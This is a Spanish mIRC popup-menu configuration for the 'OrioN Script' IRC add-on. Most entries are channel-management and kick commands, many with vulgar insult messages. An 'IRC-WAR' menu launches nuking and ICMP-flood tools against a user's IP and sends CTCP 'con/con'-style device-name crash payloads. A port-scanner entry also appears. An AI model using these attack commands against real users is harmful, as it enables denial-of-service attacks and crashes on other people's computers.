[lpopup] n0=OrioN n1=.simple: { msg $active $$1 | publi say } n2=.- n3=.new version..: msg $active $$1 | publi say Nueva y mejorada versión: n4=.el poder..: msg $active $$1 | publi say El verdadero poder se encuentra en: n5=.la revelación..: msg $active $$1 | publi say La revelación del IRC: n6=.creiste?...: msg $active $$1 | publi say Creiste ver todo en un script? n7=.war...: msg $active $$1 | publi say El mejor war del momento en: n8=.español..: msg $active $$1 | publi say Script totalmente en Español: n9=- n10=Info n11=.whois-status: whois $$1 n12=.whois-dialog: quien-es $$1 d n13=.- n14=.Lag PING: ctcp $$1 ping n15=.- n16=.hacer who: set %r.who si | who $$1 n17=.ver host/ip: dns $$1 n18=.misma ip: who $gettok($address($1,2),2,64) n19=.trazar ruta: { n20= run $mircdirsistema\bats\traza.bat $gettok($address($1,2),2,64) n21= echo -s 0,1 Trazando ruta IP bajo MSDOS 0,4 $gettok($address($1,2),2,64) 9,99 n22=} n23=.- n24=.DNS: dns $$1 n25=.FINGER: finger $$1 n26=.- n27=.MSDOS-Ping:{ n28= run $mircdirsistema\bats\msdosping.bat $gettok($address($1,2),2,64) $$?="Numero de pings a ejecutar" n29= echo -s 0,1 OrioN-Ping bajo MSDOS 0,4 $gettok($address($1,2),2,64) 9,99 n30=} n31=.ucentral: uwho $$1 n32=.ver agenda: /abook $$1 n33=.$iif($filetrue($1,log) != $null,ver log): @log $filetrue($1,log) n34=.- n35=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones) n36=..clones?: dialog -m scan scan | set %whoscan on | who %barsnick | .timer 1 1 scanclonesd n37=..- n38=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d n39=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d n40=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d n41=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d n42=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d n43=..- n44=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64) n45=..- n46=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones) n47=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n48=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n49=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n50=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n51=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n52=..- n53=..todos: { n54= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n55= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n56= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n57= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n58= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n59=} n60=.- n61=.scan OrioN: dialog -m scan scan | set %whoscan on | who $1 n62=.scaner: run $mircdirscaner\Portscan.exe 127.45.41.45 n63=.- n64=.espiar %barsnick : espianick %barsnick n65=- n66=Whois: whois $$1 n67=FSend: dcc send $$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 n68=$iif($ignore($address($$1,2)),$style(1)) Ignorar: ignorar $$1 n69=$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,Clones < $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) >) n70=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,1):/ dns $$1 n71=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,2):/ dns $$1 n72=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,3):/ dns $$1 n73=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,4):/ dns $$1 n74=.$ialchan($gettok($address($snick($chan),2),2,33),$active ,5):/ dns $$1 n75=.- n76=.DNS clon: dns $$1 n77=- n78=$iif($me !isop $chan,$style(2)) Control n79=.OP (+@): mode $chan +oooo $1- n80=.DOP (-@): mode $chan -oooo $1- n81=.Msg @ n82=..dar @ msg: set %msg#op $$?="Razon del op?" | mode $chan +o $1 | msg # 1 [2 Razon del op a10 $$1 1] [4 %msg#op 1 ] | unset %msg#op n83=..quitar @ msg: set %deop#msg $$?="Razon del deop?" | mode $chan -o $1 | msg # 1 [2 Razon del deop a10 $$1 1] [4 %deop#msg 1 ] | unset %deop#msg n84=.Especial @ n85=..@ Adornar:/me 12piensa que el nick de $$1 es muy 4feo | /me 3cree que adornandolo un poco quedaria mejor | /me 4le pone un simbolito exotico al nick de $$1 y ahora va a la moda! | /mode # +o $$1 n86=..@ Soledad:/me 12se apena por la cara de soledad de $$1 alla abajo | /me 4se trae a $$1 a la cima donde se sentira mejor! | /mode # +o $$1 n87=..@ Arroba:/me 12le dispara una 4arroba anti-carro 12a $$1 que pega un espectacular bote hasta encaramarse en lo alto del canal | /mode # +o $$1 n88=.- n89=.VOZ (+v): mode $chan +vvvv $1- n90=.DVOZ (-v): mode $chan -vvvv $1- n91=.Msg V n92=..dar voz + msg: set %msg#voz $$?="Razon del voice?" | mode $chan +v $1 | msg # 1 [2 Razon del voice a10 $$1 1] [4 %msg#voz 1 ] | unset %msg#voz n93=..quitar voz + msg: set %voz#msg $$?="Razon del devoice?" | mode $chan -v $1 | msg # 1 [2 Razon del devoice a10 $$1 1] [4 %voz#msg 1 ] | unset %voz#msg n94=.- n95=.KICK: kick $chan $1- n96=.Msg Kick n97=..KICK + MENSAJE: kick # $$1 $$?="Msg para el kick?" n98=..- n99=..Superioriad: say $$1 piensas que eres igual que yo?? | .timer1 1 1 say Pero tengo algo que decirte... | .timer2 1 1 kick # $$1 Yo todavia sigo dentro de # n100=..Pacifico: me odia la violencia. | .timer1 1 1 me odia a la gente violenta también. | .timer2 1 2 me piensa que $$1 es demasiado violento. | .timer3 1 3 me sujeta a $$1 del cuello y lo levanta del suelo. | .timer4 1 4 me golpea el pecho de $$1 fuertemente con su puño. | .timer5 1 5 me sorprende a $$1 con un cabezazo, antes de que pueda darse cuenta de que ya está en el suelo. | .timer6 1 6 kick # $$1 Soy una persona pacífica, de veras. n101=..Futbol: /me intercepta el balón, | .timer1 1 1 /me dribbla | .timer2 1 2 /me tira..... | .timer3 1 3 kick # $$1 ***GOOOOOOOOOOL*** n102=..Taza: me sujeta a $$1 del cabello y mete su cabeza en el inodoro... | .timer1 1 1 me tira de la cadena. | .timer2 1 2 kick # $$1 ¿Suficientemente sucio para ti? n103=..Kick Stallone:/kick # $$1 4Feliz cumpleaños, CAPULLO! -Sylvester Stallone en "Asesinos"- n104=..Kick Stallone2:/kick # $$1 4Se acabó la liga, CABRON! -El compi de Sylvester Stallone en "Máximo riesgo"- n105=..Kick Reservoir:/kick # $$1 4Hablas como una PUTA y te voy a pegar como a una PUTA -uno de los de "Reservoir Dogs"- n106=..Kick Van Damme:/kick # $$1 4Lárgate, BASTARDO, y dile a tu jefe que no admitimos ESCORIA -Van Damme en "Blanco humano"- n107=..Kick Eastwood:/kick # $$1 4Como sigas hablando te voy a meter la 44 por el CULO! -Clint Eastwood en "Harry el ejecutor"- n108=..Tamagotchi: /.timer1 1 1 /me $$1 eres mas latoso que el puto tamagotchi | /.timer2 1 3 /me le quita las pilas al tamagotchi | /.timer3 1 5 kick # $$1 Ostia, se ha apagado... n109=..Regalo:{ /.timer1 1 1 /say 5Si papa Noel no existe... | /.timer2 1 3 /say 5...y los reyes magos tampoco... | /.timer3 1 5 /SAY 5Por que coño tiene que existir alguien que no hace regalos??? | /.timer4 1 6 kick $chan $$1 ToMa Mi ReGaLo } n110=..Golpea:/me GoLpEa a $$1 Un BuEn RaTo con un $$?="Pon el objeto que usas:" | /.timer1 1 2 /me Le PrEgUnTa a $$1... Te DiViErTeS????? No??? Pues yo me parto el Culo............ XDDDDD | /.timer2 1 4 /kick # $1 Que risa me entra XDDDDD n111=..Mal Olor:/me huele algo, como si estuviera podrido... | /.timer1 1 5 /me mira a $1... | /.timer2 1 6 /kick # $1 Hueles muy mal para estar en el Canal, bies... n112=..Silla Eléctrica:/.timer1 1 1 /me le hace un sitio a $1 en esa hermosa silla que le presta | /.timer2 1 3 /me $1 se sienta gustoso en ella | /.timer3 1 5 /me Cuando $1 se despista lo ata a la silla | /.timer4 1 7 /me le da a una palanca y ¡AAAAAAAARGGGGHHHHH! POLLO FRITO | /.timer5 1 8 /kick # $1 Como te gusta, poco, medio o quemado? n113=..Ultimate Kombo:/me 5Cree que 10 $$1 5quiere pelea..." | /me 5saca su espada... | /me 5salta sobre10 $$1 ... | /.timer1 1 2 /me 5Empieza lo bueno, le corta la mano a10 $$1 ... | /.timer2 1 3 /me 5le corta la cabeza... | /.timer3 1 4 /me 5Whooooooooooooooooooo | /.timer4 1 4 /kick # $$1 0,10ULTIMATE COMBO n114=..Mucho hablar y nada:/say $1 SOLO HABLA Y NO HACE NADA...! | /.timer1 1 5 /say DEJA DEMOSTRARTE ALGUNAS COSAS QUE PUEDO HACERLE YO A $1 ... | /.timer2 1 10 /ban # $1 3 | /.timer3 1 15 /say LUCES.... | /.timer4 1 17 /say CAMARAS..... | /.timer5 1 20 /kick # $1 ****ACTION**** n115=..Algo Bonito ;):/me usas el peor arma contra $1 | /.timer1 1 2 /me le dice algo bonito al oido... | /.timer2 1 4 /msg $1 AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!! | /.timer3 1 5 /notice $1 AAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!!!!! | /.timer4 1 6 /ban # $1 3 | /.timer5 1 7 /kick # $1 AAAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH!!!!!!!!! n116=..Hardckore KicK:/me oye un ruido estraño ( $me no puede más de dolor en las dumbas) | /me ve a $$1 en la esquina de un BAR escuchando MeTAlLykA! | /me camina hacia $$1 y le encañona con una MAGNUM | /me observa como empiexa a sudar $$1 | /me apunta en la sesera a $$1 y le dispara sin ningun escrupulo | /me pide una BIRRA y le ve MORIR! | /kick # $$1 -> GLUC, GLUC, GLUC, mmmmm, que rica taba la CERVEZA! n117=..Pervertidos Kick:/kick # $$1 -> Canal 4#sexo 3Dos manzanas más abajo so k-puyo!!...Elite:/me cree que en el canal sobra un gilipollas. ¿Quién será?... | /kick # $$1 -> No te metas con la Elite del canal!! n118=..Status:/kick # $$1 -> 4¿Qué tal por la pantalla de Status? 3XDDDD. n119=..Alt+F4:/kick # $$1 -> Presiona ALT+F4 para volver a entrar en $chan (pero portate bien, ok?) n120=..Whois:/kick # $$1 -> Si me kieres putear por el kick te recomiendo k me hagas un /WHOIS* n121=..Chistes:/kick # $$1 -> Premio al mejor chiste de la IRC n122=.SelKICK: selkick | did -ra atake-sel 6,17 $$1 n123=.- n124=.BANKick: mode # +b $address($$1,2) | kick # $$1 n125=.BanKickMsg: %k = $$?="Introduce la razon" | mode # +b $address($$1,2) | kick # $$1 %k | unset %k n126=.- n127=.Ban nick: mode # +b $$1 n128=.tipos n129=..*!user@host.domain: mode # +b $address($1,0) n130=..*!*user@host.domain: mode # +b $address($1,1) n131=..*!*@host.domain: mode # +b $address($1,2) n132=..*!*user@*.domain: mode # +b $address($1,3) n133=..*!*@*.domain: mode # +b $address($1,4) n134=..nick!user@host.domain: mode # +b $address($1,5) n135=..nick!*user@host.domain: mode # +b $address($1,6) n136=..nick!*@host.domain: mode # +b $address($1,7) n137=..nick!*user@*.domain: mode # +b $address($1,8) n138=..nick!*@*.domain: mode # +b $address($1,9) n139=.BK temporal: set %#timeb $chan | %nicktimeb = $$1 | set %timeb $$?="Cuantos min quieres que permanezca el ban" | bantime n140=.BK especial n141=..Cierra al salir: mode # +b $address($$1,2) | /kick # $$1 4Adios RICURA, no olvides cerrar la puerta al salir n142=..Escribenos: mode # +b $address($$1,2) | /kick # $$1 4Te echaremos de menos, CAPULLO, a ver si escribes n143=..Tarado mental: mode # +b $address($$1,2) | /kick # $$1 4Lo siento CIELO, solo admitimos gente sin taras mentales n144=..Bocazas: mode # +b $address($$1,2) | /kick # $$1 4Tienes la boca como un BUZON, vete a que te pongan un matasellos en los huevos n145=..Actitud: mode # +b $address($$1,2) | /kick # $$1 4Ya esta bien, PEDANTE, vete a ver si te admiten en #tontos_del_culo n146=.- n147=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,Kick clones) n148=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n149=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n150=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n151=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n152=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n153=..- n154=..todos: { n155= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§ n156= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§ n157= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§ n158= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§ n159= kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§ n160=} n161=- n162=Acciones n163=.Privado: query $$1 n164=.- n165=.mandar file: dcc send $$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 n166=.e-mail n167=..OrioN-mail: { n168= if ($dataemail($1,name) == $null) { echo -s 0,4 ERROR 0,1 No hay nigun mail con un nombre de cuenta en el que se encuentre8 $1 9,99 } n169= dialog -m sendemail sendemail n170=} n171=..e-mailer: { runer email $$?="Escribe su cuenta de email" } n172=.- n173=.Chat: dcc chat $$1 n174=.mensaje: msg $$1 $?="Cual es el mensaje para $1?" n175=.noticia: notice $$1 $?="Que noticia le doy a $1?" n176=.- n177=.f-server: openfservorion $$1 n178=.- n179=.CTCPs n180=..ctcp Ping : ctcp $$1 ping n181=..ctcp Finger: ctcp $$1 finger n182=..ctcp Version: ctcp $$1 version n183=..ctcp Time: ctcp $$1 time n184=..ctcp Userinfo: ctcp $$1 userinfo..ctcp Clientinfo: ctcp $$1 clientinfo n185=..- n186=..ctcp específico:/ctcp $* $$?="Qué CTCP?" n187=.- n188=.add userlist: dialog -m userlist userlist n189=.add notify:{ n190= .notify $$1 n191= echo -s $oriontheme(sSeparadorLine) n192= echo -s 4,1[0,1 Añadido nick: 9 $$1 8a la lista de notificacion 4] 0,99 n193= echo -s $oriontheme(sSeparadorLine) n194=} n195=- n196=IRC-WAR n197=. $iif(!$exists($mircdir\war),$style(2)) ClicK n198=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click | who $$1 n199=..- n200=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click | who $$1 n201=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click | who $$1 n202=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click | who $$1 n203=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click | who $$1 n204=..- n205=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click | who $$1 n206=.- n207=. $iif(!$exists($mircdir\war),$style(2)) WinNuke n208=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke | who $$1 n209=.- n210=.BUG-COM n211=..con/con:/ ctcp $1 sound con/con.wav n212=..com/com: ctcp $1 sound com/com.wav n213=..clock/clock: ctcp $1 sound clock/clock.wav n214=..ps/ps: ctcp $1 sound ps/ps.wav n215=..aux/aux: ctcp $1 sound aux/aux.wav n216=..lpt/lpt: ctcp $1 sound lpt/lpt.wav n217=..nul/nul: ctcp $1 sound nul/nul.wav n218=..- n219=..com/clock$.mp3: ctcp $1 sound com/clock$.mp3 n220=..- n221=..COM XMSXXX...://ctcp $1 SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3 n222=.- n223=. $iif(!$exists($mircdir\war),$style(2)) Assault:{ n224= echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war) n225= %progataker = Assault | %ataker = on | who $$1 n226=} n227=.- n228=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 n229=.- n230=. $iif(!$exists($mircdir\war),$style(2)) OOB:{ n231= %progataker = OOB | %ataker = on | run $mircdirWAR\Voob.exe | who $$1 n232= echo -s >> 0Puesta de ip manualmente. n233=} n234=.- n235=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{ n236= %progataker = ICMP | %ataker = on | who $$1 run $mircdirWAR\jav\VTJBomber.exe n237= echo -s >> 0Puesta de ip manualmente. n238=} n239=.- n240=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: { n241= %progataker = ICMP bomber | %ataker = on | who $$1 n242= run $mircdirwar\icmp.exe %whonickip n243= echo -s >> 0Pulse el boton start para comenzar el atake. n244=} n245=.- n246=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 | who $$1 n247=.- n248=. $iif(!$exists($mircdir\war),$style(2)) Divint:{ n249= %progataker = Divint | %ataker = on | who $$1 n250= run $mircdirWAR\divint\Divint3.exe n251= echo -s >> 0Puesta de ip manualmente. n252=} n253=.- n254=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap | %ataker = on | who $$1 n255=.- n256=. $iif(!$exists($mircdir\war),$style(2)) Panther: { n257= %progataker = Panther | %ataker = on | who $$1 n258= run $mircdirwar\Panther.exe n259= echo -s >> 0Puesta de ip manualmente. n260=} n261=.- n262=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{ n263= %progataker = WnewK-x v1.11.5 | %ataker = on | who $$1 n264= run $mircdirWAR\Wnewk-x.exe n265= echo -s >> 0Introduce manualmente los datos. n266=} n267=.- n268=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{ n269= %progataker = Wnuke v2.3 | %ataker = on | who $$1 n270= run $mircdirWAR\wnuke.exe n271= echo -s >> 0Introduce manualmente la ip. n272=} [cpopup] n0=OrioN ScripT n1=.simple: publi say n2=.- n3=.new version..: publi say Nueva y mejorada versión: n4=.el poder..: publi say El verdadero poder se encuentra en: n5=.la revelación..: publi say La revelación del IRC: n6=.creiste?...: publi say Creiste ver todo en un script? n7=.war...: publi say El mejor war del momento en: n8=.español..: publi say Script totalmente en Español: n9=- n10=$chan n11=.Gestor: dialog -m config# config# n12=.- n13=.modos n14=..canal solo para (i)nvitados: modei n15=..canal con nº (l)imitado de usuarios: model n16=..canal (m)oderado solo hablan ops: modem n17=..(n)o emitir msg externos al canal: moden n18=..hacer el canal (p)rivado: modep n19=..poner canal (s)ecreto: modes n20=..solo cambian el (t)opic los ops: modet n21=..poner (k)lave secreta para entra al canal: modek n22=..- n23=..modos de $chan »»»» $chan(#).mode:/modoschan n24=..- n25=..quitar todos los modos: mode $chan -ilmnpstk n26=.topic n27=..Topic baner: topic # 2ØrïøN ~ §cRiPt7 en 1[12 www.ircOrioN.net1 ] n28=..- n29=..Poner topic: topic %winactive $$?="Introduce el topic" n30=..- n31=..Predefinido:/topic # %topicd n32=..Establecer:/set %topicd $$?="Topic por defecto" n33=..- n34=..Borrar topic: raw -q TOPIC #: n35=..- n36=..mostrar topic n37=...en status: echo -s 2Topic10 # $+ 1:1,99 $chan(#).topic n38=...en canal: say 2Topic10 # $+ 1:1,99 $chan(#).topic n39=..- n40=..Estilos-1 n41=...©º°¨¨°º©:set %topic ©º°¨¨°º© $$?="Escribe el topic:" ©º°¨¨°º© | /topic # %topic n42=...æ=¬«.,¸:set %topic æ=¬«.,¸_ $$?="Escribe el topic:" _¸,.»¬=æ | /topic # %topic n43=...`·.¸¸.·´¯`:set %topic `·.¸¸.·´¯`> $$?="Escribe el topic:" <´¯`·.¸¸.·´ | /topic # %topic n44=...*.¸¸.*´¯`:set %topic *.¸¸.*´¯`*( $$?="Escribe el topic:" )*´¯`*.¸¸. | /topic # %topic n45=...==>>>:set %topic ====>>>> $$?="Escribe el topic:" <<<<====== | /topic # %topic n46=... |!¤*'~`:set %topic |!¤*'~``~'*¤!| $$?="Escribe el topic:" |!¤*'~``~'*¤!| | /topic # %topic n47=... -,._.,-*~I:set %topic -,._.,-*~ $$?="Escribe el topic:" ~*-,._., | /topic # %topic n48=...`·.¸¸.·´¯`·.¸¸.·´¯`>:set %topic 4`·.¸¸.·´¯`·.¸¸.·´¯`>1 $$?="Nuevo topic:" 4<´¯`·.¸¸.·´¯`· | /topic # %topic n49=...*®*´¯`*.¸¸.*´¯`*(:set %topic 12*®*´¯`*.¸¸.*´¯`*(4 $$?="Nuevo topic:" 12)*´¯`*.¸¸.*´¯`*©* | /topic # %topic n50=...=====>>>>:set %topic 4=====12>>>>1 $$?="Nuevo topic:" 12<<<<4====== | /topic # %topic n51=...,-*-,._.,-*'^'~*->:set %topic 15.,-*-,.14_.,-*1'^'~*->12 $$?="Nuevo topic:" 1<~*-,._.,14-*~'15^'~*-,. | /topic # %topic n52=...¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸:set %topic 1¸12,3ø6¤11°7`11°3¤1ø5,1¸6¸10,4ø7¤1°4`3°13¤5ø3,12¸3¸ 1 $$?="Nuevo topic:" 1¸12,3ø6¤11°7`11°3¤1ø5,1¸6¸10,4ø7¤1°4`3°13¤5ø3,12¸3¸ | /topic # %topic n53=...ø¤°`°¤ø:set %topic 4ø6¤°`°¤4ø1 $$?="Nuevo topic:" 4ø9¤°`°¤4ø | /topic # %topic n54=...¸.·`¯`·.¸¸.·`¯`·:set %topic ¸.·`¯`·.¸¸.·`¯`· $$?="Nuevo topic:" ·`¯`·.¸¸.·`¯`·.¸ | /topic # %topic n55=...><((((º> ·´¯`· <º))))><: topic 12><((((º>4 ·´¯`·.¸1 $$?="Nuevo topic:" 13¸.·´¯`·12 <º))))>< | /topic # %topic n56=...¸.·`¯`·.¸¸.·`¯`·:set %topic 8¸.·`¯`7·.¸¸.·4`¯`·6 $$?="Nuevo topic:" 4·`¯`7·.¸¸.·8`¯`·.¸ | /topic # %topic n57=...Ondas: set %topic 6(¯`·.7(¯`·.4(¯`·.1 $$?="Nuevo topic:" 10.·´¯)11.·´¯)12.·´¯) | /topic # %topic n58=..Estilos-2 n59=...x(AQUI)x:/set %topic 5x(2 $+ $$?="Escribe el Topic" $+ 5)x | /topic # %topic n60=...(¯`·._(¯`·._(¯`·._(-=// AQUI \\=-)_.·´¯)_.·´¯)_.·´¯):/set %topic (¯`·._(¯`·._(¯`·._(-=// $+ $+ $$?="Escribe el Topic" $+ $+ \\=-)_.·´¯)_.·´¯)_.·´¯) | /topic # %topic n61=...-~```~-.-~```~-.-~```~-.| AQUI |.-~````~-.-~```~-.-~```~-.:/set %topic .-~```~-.-~```~-.-~```~-.| $$?="Escribe elTopic " |.-~````~-.-~```~-.-~```~-. | /topic # %topic n62=...¶_¸,.»¬=椺²°` AQUI `°²º¤æ=¬«.,¸_¶: /set %topic ¶_¸,.»¬=椺²°``°²º¤æ=¬«.,¸_¸,.»¬=椺²°` $$?="Escribe el topic" `°²º¤æ=¬«.,¸_¸,.»¬=椺²°``°²º¤æ=¬«.,¸_¶ | /topic # %topic n63=...©º°¨¨°º©^©º°¨¨°º© AQUI ©º°¨¨°º©^©º°¨¨°º©: /set %topic ©º°¨¨°º©^©º°¨¨°º© $$?="Escribe el Topic" ©º°¨¨°º©^©º°¨¨°º© | /topic # %topic n64=...¨¨°º©o.,,.o©º°¨¨°º©(·-· AQUI ·-·)©º°¨¨°º©o.,,.o©º°¨¨:/set %topic ¨¨°º©o.,,.o©º°¨¨°º©(·-· $$?="Escribe el Topic" ·-·)©º°¨¨°º©o.,,.o©º°¨¨ | /topic # %topic n65=...¸¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø AQUI ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸.: /set %topic .¸¸,ø¤°`°¤ø,¸¸,ø¤°`°¤ø $$?="Escribe el Topic" ø¤°`°¤ø,¸¸,ø¤°`°¤ø,¸¸. | /topic # %topic n66=...*®*´¯`*.¸¸.*´¯`*( AQUI )*´¯`*.¸¸.*´¯`*©*:/set %topic *®*´¯`*.¸¸.*´¯`*( $$?="Escribe el Topic" )*´¯`*.¸¸.*´¯`*©* | /topic # %topic n67=...¸.·´¯`·.¸.·´¯`·.¸ AQUI ¸.·´¯`·.¸.·´¯`·.¸:/set %topic ¸.·´¯`·.¸.·´¯`·.¸ $$?="Escribe el Topic" ¸.·´¯`·.¸.·´¯`·.¸ | /topic # %topic n68=...¸.·´^`·.,¸¸.·´^`°²º¤æ=¬«.,¸_AQUI_¸,.»¬=椺²°`^`·.¸¸.·´^`·.,¸:/set %topic ¸.·´^`·.,¸¸.·´^`°²º¤æ=¬«.,¸_ $$?="Escribe el Topic" _¸,.»¬=椺²°`^`·.¸¸.·´^`·.,¸ | /topic # %topic n69=...(¯`·.,¸¸.·´¯`·.¸¸.-> AQUI <-.¸¸.·´¯`·.¸¸.·´¯):/set %topic (¯`·.,¸¸.·´¯`·.¸¸.-> $$?="Escribe el Topic" <-.¸¸.·´¯`·.¸¸.·´¯) | /topic # %topic n70=...(_ .·´¯(_.·´¯(_.·´¯( AQUI )¯`·._)¯`·._)¯`·._):/set %topic (_.·´¯(_.·´¯(_.·´¯( $$?="Escribe el Topic" )¯`·._)¯`·._)¯`·._) | /topic # %topic n71=...`~*¤§|§¤*~`~*¤§ -==- AQUI -==- §¤*~`~*¤§|§¤*~`:/set %topic `~*¤§|§¤*~`~*¤§ -==- $$?="Escribe el Topic" -==- §¤*~`~*¤§|§¤*~` | /topic # %topic n72=..Estilos-3 n73=...fuego: topic # 0,8%,7'%8,7%,4,7'%7,4%,1,4'%4,1%8,1 $$?="Pon el topic" 4,1%1,4%,7'%4,7%,8,7'%7,8%,0,8'%  n74=...hielo: topic # 0,11%,12'%11,12%,2,12'%12,2%,1,2'%12,1%11,1 $$?="Pon el topic" 12,1%1,2%,12'%2,12%,11,12'%12,11%,0,11'%  n75=...verdes: topic # 0,9%,3'%9,3%,10,3'%3,10%,1,10'%10,1%9,1 $$?="Pon el topic" 10,1%1,10%,3'%10,3%,9,3'%3,9%,0,9'%  n76=...rocas: topic # 0,6%,4'%6,4%,5,4'%4,5%,1,5'%5,1%13,1 $$?="Pon el topic" 5,1%1,5%,4'%5,4%,6,4'%4,6%,0,6'%  n77=..- n78=..Topics $active n79=...$getvarconfig#($active,topic1): topic # $getvarconfig#($active,topic1) n80=...$getvarconfig#($active,topic2): topic # $getvarconfig#($active,topic2) n81=...$getvarconfig#($active,topic3): topic # $getvarconfig#($active,topic3) n82=...$getvarconfig#($active,topic4): topic # $getvarconfig#($active,topic4) n83=...$getvarconfig#($active,topic5): topic # $getvarconfig#($active,topic5) n84=...$getvarconfig#($active,topic6): topic # $getvarconfig#($active,topic6) n85=...- n86=...predefinir n87=....$getvarconfig#($active,topic1): setvarconfig# %winactive topic1 $$?="Escribe el topic1 predefinido para el canal" n88=....$getvarconfig#($active,topic2): setvarconfig# %winactive topic2 $$?="Escribe el topic2 predefinido para el canal" n89=....$getvarconfig#($active,topic3): setvarconfig# %winactive topic3 $$?="Escribe el topic3 predefinido para el canal" n90=....$getvarconfig#($active,topic4): setvarconfig# %winactive topic4 $$?="Escribe el topic4 predefinido para el canal" n91=....$getvarconfig#($active,topic5): setvarconfig# %winactive topic5 $$?="Escribe el topic5 predefinido para el canal" n92=....$getvarconfig#($active,topic6): setvarconfig# %winactive topic6 $$?="Escribe el topic6 predefinido para el canal" n93=.massivos 